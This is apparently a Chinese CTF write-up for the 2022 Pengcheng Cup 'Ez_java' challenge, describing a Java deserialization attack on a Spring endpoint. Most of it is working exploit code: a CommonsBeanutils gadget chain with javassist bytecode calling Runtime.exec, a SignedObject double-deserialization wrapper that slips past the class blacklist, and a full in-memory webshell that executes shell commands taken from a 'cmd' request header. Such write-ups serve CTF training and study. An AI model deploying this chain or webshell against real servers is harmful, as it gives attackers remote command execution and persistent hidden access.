2022鹏城杯线上Ez_java

鹏城杯Ez_java

分析

看源码

image-20220720170538500

关注到这,考察反序列化

  @ResponseBody
  @PostMapping({"/read"})
  public String read(@RequestParam(name = "data", required = true) String data) throws IOException, ClassNotFoundException {
    byte[] b = Base64.getDecoder().decode(data);
    InputStream bis = new ByteArrayInputStream(b);
    Secure ois = new Secure(bis);
    ois.readObject();
    return ";
  }

有这个黑名单

image-20220720170637999

黑名单怎么办呢

image-20220726165819802

看到了禁用了cc1和cc4的ChainedTransformer,还有cc4的InstantiateTransformer,这样就断了cc1和cc4的gadget

但是在包里可以看到cb依赖,尝试cb反序列化,我平时用的是cb的TemplatesImpl执行rce代码,但是这里可以看到我们的TemolatesImpl已经在黑名单了,所以使用runtime.exec,那么我们需要找到一处invoke任意调用。

这里可以使用cc依赖的Transformer,可以看到没在黑名单里,可是呢,cb没有调用Transformer的先例,那这样一来就必须使用我们在虎符见到的小trick

当时虎符为了绕过hessian反序列化时被 transient 修饰的 _tfactory 对象无法写入造成空指针异常这个限制,使用了同时具备readobject,有getter方法且无参数,继承Serializable的类java.security.SignedObject

该类可以实现二次反序列化,二次反序列化有利于我们把TempImpl序列化两次后再触发,这样的话反序列化一次(readobject)的时候waf是看不到Templmpl的,这样就实现了绕过!

ps:

可以runtime.exec的下一步不是急着反弹shell,而是打下dnslog,这样判断是否出网。

ps:

在写链子的时候,二次反序列化的类比如说SignedObject,咱们直接把它当作readobject使用就行

而这里是不出网的,就需要注入内存马,内存马就是一个编译好的静态jar,然后

整理下:

cb(把TemplateImpl去掉)->SignedObject ->cb(把序列化开头去掉)->

内存马

环境搭建

我的环境项目在D:\各种框架源码\demo

新建项目,选择这个

image-20220727135247122

保证有spring和Maven就行,因为后面很多依赖要让maven帮忙安装,但是maven实测极难安装springframework,所以要选Spring项目让idea提供

随后复制黏贴pom.xml,选中pom.xml右击maven加载项目即可。

写exp

我们需要找到这些材料:

  • cb的poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class person {

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

//        System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));

        BeanComparator outputProperties = new BeanComparator("outputProperties");
//        outputProperties.compare(templates,new TemplatesImpl());

        TransformingComparator ioTransformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);

        setValue(priorityQueue, "comparator", outputProperties);

        serialize(priorityQueue);
        unserialize("ser.bin");

    }
}

蛮短的,分析起来就4个类好像

  • 二次反序列化SignedObject
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(priorityQueue, privateKey, signature);

按照这个思路:cb(把TemplateImpl去掉)->SignedObject ->cb(把序列化开头去掉)

很快可以缝合成如下(记得一些类要重命名)

package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import java.security.*;

public class CbPoc {

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

//        System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));

        BeanComparator outputProperties = new BeanComparator("outputProperties");
//        outputProperties.compare(templates,new TemplatesImpl());

        TransformingComparator ioTransformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);

        setValue(priorityQueue, "comparator", outputProperties);

        //serialize(priorityQueue);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(priorityQueue, privateKey, signature);

        BeanComparator outputProperties1 = new BeanComparator("outputProperties");
//        outputProperties.compare(templates,new TemplatesImpl());

        TransformingComparator ioTransformingComparator1 = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue1 = new PriorityQueue<>(ioTransformingComparator1);

        priorityQueue1.add(signedObject);
        priorityQueue1.add(signedObject);

        setValue(priorityQueue1, "comparator", outputProperties1);

        serialize(priorityQueue1);

        unserialize("ser.bin");
    }
}

但是这样很快发现

        BeanComparator outputProperties1 = new BeanComparator("outputProperties");

这里报错

回头去看看这个字符串的原理,其实是:

可能你会想问为什么是"outputProperties",总之记得这里是需要一个javaBean的属性名,而在这里写下它的属性名(首字母要小写),后续就会调用它的get方法或者set方法

TempImpl要用”outputProperties“首先是因为

image-20220727154001986

这是个属性,当然作为javaBean它也又get方法

image-20220727154057845

更重要的是他在tempImpl的触发rce的机制中是必要的

image-20220727154154292

(就是这个newTransformer)

而这次在signedObject中,首先没有outputProperties这个属性

那应该是哪个呢,背景是我们想要实现序列化传入的第一个参数,我们进去一看就知道

image-20220727154836008

第一个参数会被赋值到会放到这里的this.content,不过这里直接BeanComparator outputProperties1 = new BeanComparator("content");是无效的,因为必须要调用getObject方法,所以我们BeanComparator outputProperties1 = new BeanComparator("object");

可能有人会问Object在这里不是属性,emmmm,JavaBean会把有get方法的后面那个get的名字当作属性,很6

之后本地试了下poc打spring,是可以弹计算器的,不过无回显不出网,这就要研究下内存马

image-20220727163011686

内存马是如何使用的呢?其实就是我们poc自定义的getTemplatesImpl返回的字节码,替换成内存马的字节码就行。

所以思路是:先写个内存马,编译为class文件读入

miku找到了个内存马

package com.example.pengchengbei;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.net.InetAddress;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
{
    static {
        try {
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String) getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        }
        catch (Exception e){
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

在这个类里面写个main方法new这个类,随后运行,接着找到它生成的class文件,把它的路径拷下来,然后魔改下前面的poc放入,如下

package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.net.InetAddress;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;
public class MemoryShell extends AbstractTranslet
{
    static {
        try {
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String) getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        }
        catch (Exception e){
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public static void main(String[] args)
    {
        new MemoryShell();
    }
}

该马的使用方法是head里面加上cmd=命令

image-20220728162731157

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇